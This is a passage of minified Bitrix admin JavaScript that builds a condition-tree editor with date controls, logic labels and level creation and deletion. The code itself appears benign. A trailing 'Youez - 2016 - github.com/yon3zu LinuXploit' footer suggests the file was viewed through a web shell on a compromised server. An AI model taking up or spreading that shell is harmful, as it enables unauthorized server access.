adm-filter-alignment"},style:{display:"none",verticalAlign:"middle"},children:[BX.create("DIV",{props:{className:"adm-filter-box-sizing"},style:{verticalAlign:"middle"},children:[this.calendarText]})]}));this.boolResult=!!this.calendar}};BX.TreeCondCtrlDateTime.prototype.InitValue=function(){if(BX.TreeCondCtrlDateTime.superclass.InitValue.apply(this,arguments)){BX.adjust(this.link,{html:BX.util.htmlspecialchars(this.valuesContainer[this.id])});this.input.value=this.valuesContainer[this.id]}else{BX.adjust(this.link,{html:this.defaultText});this.input.value=""}};BX.TreeCondCtrlDateTime.prototype.SetValue=function(){this.valuesContainer[this.id]=this.input.value;if(BX.TreeCondCtrlDateTime.superclass.SetValue.apply(this,arguments)){BX.adjust(this.link,{html:BX.util.htmlspecialchars(this.valuesContainer[this.id])})}else{BX.adjust(this.link,{html:this.defaultText})}};BX.TreeCondCtrlDateTime.prototype.View=function(e){BX.TreeCondCtrlDateTime.superclass.View.apply(this,arguments);if(e){BX.style(this.link,"display","none");BX.style(this.calendar,"display","inline-block");BX.focus(this.input)}else{BX.style(this.calendar,"display","none");BX.style(this.link,"display","")}};BX.TreeCondCtrlDateTime.prototype.Delete=function(){BX.TreeCondCtrlDateTime.superclass.Delete.apply(this,arguments);if(!!this.input){BX.unbindAll(this.input);this.input=BX.remove(this.input)}if(!!this.icon){BX.unbindAll(this.icon);this.icon=BX.remove(this.icon)}if(!!this.calendarText){this.calendarText=BX.remove(this.calendarText)}if(!!this.calendar){BX.unbindAll(this.calendar);this.calendar=BX.remove(this.calendar)}};BX.TreeCondCtrlDateTime.prototype.CreateLink=function(){if(BX.TreeCondCtrlDateTime.superclass.CreateLink.apply(this,arguments)){BX.bind(this.link,"click",BX.proxy(this.onClick,this))}return this.boolResult};BX.TreeCondCtrlDateTime.prototype.ShowCalendarControl=function(){if(!!this.calendarText){BX.calendar({node:this.calendarText,field:this.input,form:"",bTime:this.format==="datetime",bHideTime:false})}};BX.TreeConditions=function(e,t,i){var s;BX.onCustomEvent("onTreeConditionsInit",[e,t,i]);this.boolResult=false;if(!e||typeof e!=="object"||!e.parentContainer){return this.boolResult}this.parentContainer=e.parentContainer;if(!e.form&&!e.formName){return this.boolResult}this.arStartParams=e;this.form=!!e.form?e.form:null;this.formName=!!e.formName?e.formName:null;this.mess=null;if(BX.type.isPlainObject(e.mess)){this.mess=e.mess;BX.message(this.mess)}this.messTree={SELECT_CONTROL:BX.message("JC_CORE_TREE_SELECT_CONTROL"),ADD_CONTROL:BX.message("JC_CORE_TREE_ADD_CONTROL"),DELETE_CONTROL:BX.message("JC_CORE_TREE_DELETE_CONTROL"),CONTROL_DATETIME_ICON:BX.message("JC_CORE_TREE_CONTROL_DATETIME_ICON"),CONDITION_ERROR:BX.message("JC_CORE_TREE_CONDITION_ERROR"),CONDITION_FATAL_ERROR:BX.message("JC_CORE_TREE_CONDITION_FATAL_ERROR")};if(BX.type.isPlainObject(e.messTree)){for(s in e.messTree){if(e.messTree.hasOwnProperty(s)){this.messTree[s]=e.messTree[s]}}}this.sepID=!!e.sepID?e.sepID:"__";this.sepName=!!e.sepName?e.sepName:this.sepID;this.prefix=!!e.prefix?e.prefix:"rule";this.AtomTypes={prefix:BX.TreeCondCtrlAtom,input:BX.TreeCondCtrlInput,select:BX.TreeCondCtrlSelect,lazySelect:BX.TreeCondCtrlLazySelect,popup:BX.TreeCondCtrlPopup,userPopup:BX.TreeUserCondCtrlPopup,datetime:BX.TreeCondCtrlDateTime,dialog:BX.TreeCondCtrlDialog,multiDialog:BX.TreeMultiCondCtrlDialog};if(!!e.atomtypes&&typeof e.atomtypes==="object"){for(s in e.atomtypes){if(!e.atomtypes.hasOwnProperty(s)||!!this.AtomTypes[s])continue;this.AtomTypes[s]=e.atomtypes[s]}}if(!t||typeof t!=="object"){return this.boolResult}this.tree=t;if(!i||!BX.type.isArray(i)){return this.boolResult}this.controls=i;this.boolResult=true;BX.ready(BX.delegate(this.RenderTree,this));return this.boolResult};BX.TreeConditions.prototype.Delete=function(){if(this.tree){this.DeleteLevel(this.tree)}};BX.TreeConditions.prototype.ControlSearch=function(e){var t=false,i;if(this.boolResult&&!!this.controls){for(i=0;i<this.controls.length;i++){if(!!this.controls[i].controlgroup){t=this.ControlInGrpSearch(this.controls[i].children,e);if(false!==t){break}}else{if(e===this.controls[i].controlId){t=this.controls[i];break}}}}return t};BX.TreeConditions.prototype.ControlInGrpSearch=function(e,t){var i=false,s;if(this.boolResult&&!!e){for(s=0;s<e.length;s++){if(t===e[s].controlId){i=e[s];break}}}return i};BX.TreeConditions.prototype.RenderTree=function(){if(this.boolResult){this.form=this.form?BX(this.form):document.forms[this.formName];if(!this.form){this.boolResult=false}else{this.formName=this.form.name;this.parentContainer=BX(this.parentContainer);if(!!this.parentContainer){BX.adjust(this.parentContainer,{style:{position:"relative",zIndex:1}});this.RenderLevel(this.parentContainer,null,this.tree)}else{this.boolResult=false}}}return this.boolResult};BX.TreeConditions.prototype.RenderLevel=function(e,t,i,s){var l,n,o=null,r=null,a=null,h,p,u,d,c,C,f,B,X;if(this.boolResult){if(!e){this.boolResult=false;return this.boolResult}if(typeof i!=="object"){this.boolResult=false;return this.boolResult}if(i.id===null||i.id===undefined){this.boolResult=false;return this.boolResult}if(i.controlId===null||i.controlId===undefined){this.boolResult=false;return this.boolResult}l=this.ControlSearch(i.controlId);if(!l){this.boolResult=false;return this.boolResult}n=!!l.group?t!==null?"condition-container":"condition-border":"condition-simple-control";h=parseInt(BX.style(e,"z-index"),10);if(isNaN(h)){h=1}o=BX.create("DIV",{props:{id:e.id+this.sepID+i.id+"_wrap",className:"condition-wrapper"},style:{zIndex:h+100}});a=o.appendChild(BX.create("DIV",{props:{id:e.id+this.sepID+i.id,className:n},style:{zIndex:h+110}}));if(!a){this.boolResult=false;return this.boolResult}if(e.childNodes.length===0){e.appendChild(o)}else{e.insertBefore(o,e.childNodes[e.childNodes.length-1])}a.appendChild(BX.create("INPUT",{props:{type:"hidden",id:a.id+"_controlId",name:(this.prefix+"["+e.id+this.sepID+i.id+"][controlId]").replace(this.parentContainer.id+this.sepID,""),className:"",value:i.controlId}}));i.wrapper=o;i.logic=r;i.container=a;i.obj=[];i.addBtn=null;i.deleteBtn=null;i.visual=null;if(t!==null){if(i.showDeleteButton===null||i.showDeleteButton===undefined||i.showDeleteButton===true){this.RenderDeleteBtn(i,t,l)}}if(!!i.err_cond&&i.err_cond==="Y"){a.appendChild(BX.create("SPAN",{props:{className:"condition-alert",title:!!i.err_cond_mess?i.err_cond_mess:!i.fatal_err_cond?this.messTree.CONDITION_ERROR:this.messTree.CONDITION_FATAL_ERROR}}))}if(!i.fatal_err_cond){if(!!l.group){if(!!l.visual&&typeof l.visual==="object"){i.visual=l.visual;if(!(!!i.visual.values&&BX.type.isArray(i.visual.values)&&!!i.visual.logic&&BX.type.isArray(i.visual.logic)&&i.visual.values.length===i.visual.logic.length)){i.visual=null}}}for(p=0;p<l.control.length;p++){c=null;if(0<p){a.appendChild(BX.create("SPAN",{props:{className:"condition-space"},html:"&nbsp;"}))}C=l.control[p];if(typeof C==="object"){f={};for(d in C){if(C.hasOwnProperty(d)){f[d]=d==="name"?(this.prefix+"["+e.id+this.sepID+i.id+"]["+C[d]+"]").replace(this.parentContainer.id+this.sepID,""):C[d]}}if(!!i.visual){if(BX.util.in_array(C.id,i.visual.controls)){if(!f.events){f.events={}}f.events.visual=BX.delegate(function(){this.ChangeVisual(i)},this)}}if(!!this.AtomTypes[C.type]){if(C.type==="prefix"){c=new this.AtomTypes[C.type](a,i,f)}else{c=new this.AtomTypes[C.type](a,i,f);i.obj[i.obj.length]=c}}}else{c=new BX.TreeCondCtrlAtom(a,i,C)}}if(!!l.group){a.appendChild(BX.create("DIV",{props:{className:"condition-group-sep"}}));if(!!l.containsOneAction){this.RenderCreateOneActionBtn(i,l)}else{this.RenderCreateBtn(i,l)}if(!!i.children&&!!i.children.length&&i.children.length>0){if(!!i.visual&&typeof i.visual==="object"){B=this.SearchVisual(i);if(-1<B){X=i.visual.logic[B];X.visual=BX.delegate(function(){this.NextVisual(i)},this);for(u=0;u<i.children.length;u++){this.RenderLevel(a,i,i.children[u]);if(u<i.children.length-1){this.CreateLogic(i.children[u],i,X)}}}else{for(u=0;u<i.children.length;u++){this.RenderLevel(a,i,i.children[u])}}}else{for(u=0;u<i.children.length;u++){this.RenderLevel(a,i,i.children[u])}}}}}}return this.boolResult};BX.TreeConditions.prototype.CreateLevel=function(e,t,i){var s,l,n;if(!!e&&!!e.children){if(i===undefined||i===null){i=e.children.length}e.children[e.children.length]={id:i,controlId:t,values:{},children:[]};if(!this.RenderLevel(e.container,e,e.children[e.children.length-1])){e.children.pop()}else{s=this.SearchForCreateLogic(e);if(-1<s){l=this.SearchVisual(e);if(-1<l){n=e.visual.logic[l];n.visual=BX.delegate(function(){this.NextVisual(e)},this);this.CreateLogic(e.children[s],e,n)}}BX.onCustomEvent("onAdminTabsChange")}}};BX.TreeConditions.prototype.SearchForDeleteLevel=function(e,t){var i={indexDel:-1,indexPrev:-1},s,l;if(!!t){if(!!t.children){for(s=0;s<t.children.length;s++){if(!!t.children[s]&&t.children[s]===e){i.indexDel=s;break}}if(-1<i.indexDel){if(!!t.visual&&typeof t.visual==="object"){l=true;for(s=i.indexDel+1;s<t.children.length;s++){if(!!t.children[s]){l=false;break}}if(l){for(s=i.indexDel-1;s>-1;s--){if(!!t.children[s]){i.indexPrev=s;break}}}}}}}return i};BX.TreeConditions.prototype.SearchForCreateLogic=function(e,t){var i=-1,s;if(!!e&&!!e.children){if(!!e.visual&&typeof e.visual==="object"){if(t===undefined||t===null){t=e.children.length-1}for(s=t-1;s>-1;s--){if(!!e.children[s]){i=s;break}}}}return i};BX.TreeConditions.prototype.DeleteLevel=function(e,t){var i,s;if(!!e){if(!!e.children){if(e.children.length>0){for(i=0;i<e.children.length;i++){this.DeleteLevel(e.children[i])}}e.children.length=0}if(!!e.addBtn){if(e.addBtn.link){BX.unbindAll(e.addBtn.link);e.addBtn.link=BX.remove(e.addBtn.link)}if(e.addBtn.select){BX.unbindAll(e.addBtn.select);e.addBtn.link=BX.remove(e.addBtn.select)}e.addBtn=BX.remove(e.addBtn)}if(!!e.obj){if(e.obj.length>0){for(i=0;i<e.obj.length;i++){e.obj[i].Delete()}e.obj.length=0}}if(!!e.deleteBtn){BX.unbindAll(e.deleteBtn);e.deleteBtn=BX.remove(e.deleteBtn)}BX.unbindAll(e.container);e.container=BX.remove(e.container);if(!!e.logic){BX.unbindAll(e.logic);e.logic=BX.remove(e.logic)}BX.unbindAll(e.wrapper);e.wrapper=BX.remove(e.wrapper);s=this.SearchForDeleteLevel(e,t);if(-1<s.indexDel){t.children[s.indexDel]=null;e=null}if(-1<s.indexPrev){this.DeleteLogic(t.children[s.indexPrev])}BX.onCustomEvent("onAdminTabsChange");BX.onCustomEvent("onAdminTabsDeleteLevel",[e,t])}};BX.TreeConditions.prototype.RenderCreateBtn=function(t,i){var s,l,n,o,r,a,h;if(this.boolResult){if(!!t.container){if(i.group){s=t.container.appendChild(BX.create("DIV",{props:{id:t.container.id+"_add",className:"condition-add"}}));if(!s){this.boolResult=false;return this.boolResult}t.addBtn=s;l=s.appendChild(BX.create("A",{props:{id:s.id+"_link",className:""},style:{display:""},html:!!i.mess&&!!i.mess.ADD_CONTROL?i.mess.ADD_CONTROL:this.messTree.ADD_CONTROL}));n=s.appendChild(BX.create("SELECT",{props:{id:s.id+"_select",className:""},style:{display:"none"}}));if(!!n){n.appendChild(BX.create("OPTION",{props:{value:""},html:!!i.mess&&!!i.mess.SELECT_CONTROL?i.mess.SELECT_CONTROL:this.messTree.SELECT_CONTROL}));for(o=0;o<this.controls.length;o++){if(BX.util.in_array(i.controlId,this.controls[o].showIn)){if(!!this.controls[o].controlgroup){h=false;a=BX.create("OPTGROUP",{props:{label:this.controls[o].label}});if(!!a&&!!this.controls[o].children&&!!this.controls[o].children.length&&this.controls[o].children.length>0){for(r=0;r<this.controls[o].children.length;r++){if(BX.util.in_array(i.controlId,this.controls[o].children[r].showIn)){h=true;a.appendChild(BX.create("OPTION",{props:{value:this.controls[o].children[r].controlId},html:BX.util.htmlspecialchars(this.controls[o].children[r].label)}))}}if(h)n.appendChild(a)}}else{n.appendChild(BX.create("OPTION",{props:{value:this.controls[o].controlId},html:BX.util.htmlspecialchars(this.controls[o].label)}))}}}}if(!!l&&!!n){s.link=l;s.select=n;BX.bind(l,"click",BX.delegate(function(){BX.style(s.select,"display","");BX.style(s.link,"display","none");BX.focus(s.select)},s));BX.bind(n,"change",BX.delegate(function(){if(0<s.select.selectedIndex){this.CreateLevel(t,s.select.options[s.select.selectedIndex].value)}s.select.selectedIndex=0;BX.style(s.select,"display","none");BX.style(s.link,"display","")},this));BX.bind(n,"blur",BX.delegate(function(){s.select.selectedIndex=0;BX.style(s.select,"display","none");BX.style(s.link,"display","")},s));BX.bind(n,"keypress",BX.delegate(function(i){if(!i){i=e.event}if(!!i.keyCode&&(i.keyCode===13||i.keyCode===27)){if(i.keyCode===13){if(0<s.select.selectedIndex){this.CreateLevel(t)}s.select.selectedIndex=0}else{s.select.selectedIndex=0}BX.style(s.select,"display","none");BX.style(s.link,"display","");if(i.keyCode===13){return BX.PreventDefault(i)}}},this))}else{this.boolResult=false}}}else{this.boolResult=false}}return this.boolResult};BX.TreeConditions.prototype.RenderCreateOneActionBtn=function(e,t){if(this.RenderCreateBtn(e,t)){BX.bind(e.addBtn.select,"change",function(){BX.hide(e.addBtn)});BX.adjust(e.addBtn,{attrs:{"bx-data-create-one-action-btn":true}});var i=BX.clone(e.addBtn.id,true);BX.addCustomEvent("onAdminTabsDeleteLevel",function(e,t){if(t&&t.addBtn&&t.addBtn.getAttribute("bx-data-create-one-action-btn")&&t.addBtn.id===i){BX.show(t.addBtn,"block")}});var s=function(e){if(e==null)return true;if(e.length&&e.length>0)return false;if(e.length===0)return true;for(var t in e){if(hasOwnProperty.call(e,t))return false}return true};if(e.children&&!s(e.children)){BX.hide(e.addBtn)}}return this.boolResult};BX.TreeConditions.prototype.RenderDeleteBtn=function(e,t,i){var s;if(this.boolResult){if(!!e.container){s=e.container.appendChild(BX.create("DIV",{props:{id:e.id+"_del",className:"condition-delete",title:BX.type.isPlainObject(i.mess)&&BX.type.isNotEmptyString(i.mess.DELETE_CONTROL)?i.mess.DELETE_CONTROL:this.messTree.DELETE_CONTROL}}));if(!!s){e.delBtn=s;BX.bind(s,"click",BX.delegate(function(){this.DeleteLevel(e,t)},this));BX.bind(e.container,"mouseover",BX.delegate(function(e){BX.style(s,"display","block");return BX.eventCancelBubble(e)},this));BX.bind(e.container,"mouseout",BX.delegate(function(e){BX.style(s,"display","none");return BX.eventCancelBubble(e)},this))}else{this.boolResult=false}}else{this.boolResult=false}}return this.boolResult};BX.TreeConditions.prototype.CreateLogic=function(e,t,i){var s,l;if(this.boolResult){if(!!e.logic&&typeof e.logic==="object"){this.boolResult=this.UpdateLogic(e,i)}else{l="condition-logic";if(!!i.style){l=l.concat(" ",i.style)}s=BX.create("DIV",{props:{className:l},style:{zIndex:parseInt(BX.style(e.wrapper,"z-index"),10)+1},html:i.message});if(!!s){e.wrapper.insertBefore(s,e.wrapper.childNodes[0]);e.logic=s;BX.bind(e.logic,"click",i.visual)}else{this.boolResult=false}}}return this.boolResult};BX.TreeConditions.prototype.DeleteLogic=function(e){if(this.boolResult&&!!e.logic&&typeof e.logic==="object"){BX.unbindAll(e.logic);e.logic=BX.remove(e.logic)}return this.boolResult};BX.TreeConditions.prototype.UpdateLogic=function(e,t){var i;if(this.boolResult&&!!e.logic&&typeof e.logic==="object"){i="condition-logic";if(!!t.style)i=i.concat(" ",t.style);BX.adjust(e.logic,{props:{className:i},html:t.message})}return this.boolResult};BX.TreeConditions.prototype.SearchVisual=function(e){var t=-1,i,s,l,n,o,r,a;if(this.boolResult&&!!e.visual&&typeof e.visual==="object"){if(!!e.visual.controls){i={};for(l in e.visual.controls){if(e.visual.controls.hasOwnProperty(l)){s=e.visual.controls[l];i[s]=e.values[s]}}if(!!e.visual.values){for(n=0;n<e.visual.values.length;n++){r=e.visual.values[n];a=true;for(o in i){if(r[o]!=i[o]){a=false;break}}if(a){t=n;break}}}}}return t};BX.TreeConditions.prototype.ChangeVisual=function(e){var t,i,s;if(this.boolResult){t=this.SearchVisual(e);if(-1<t){i=e.visual.logic[t];for(s=0;s<e.children.length;s++){if(!!e.children[s])this.UpdateLogic(e.children[s],i)}}}return this.boolResult};BX.TreeConditions.prototype.NextVisual=function(e){var t,i,s,l,n;if(this.boolResult){t=this.SearchVisual(e);if(-1<t){t++;if(t>=e.visual.logic.length)t=0;i=e.visual.values[t];for(l in i){if(i.hasOwnProperty(l))e.values[l]=i[l]}for(s=0;s<e.obj.length;s++){e.obj[s].ReInitValue(e.visual.controls)}n=e.visual.logic[t];for(s=0;s<e.children.length;s++){if(!!e.children[s])this.UpdateLogic(e.children[s],n)}}BX.onCustomEvent("onNextVisualChange",[e])}}})(window);
//# sourceMappingURL=core_tree.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit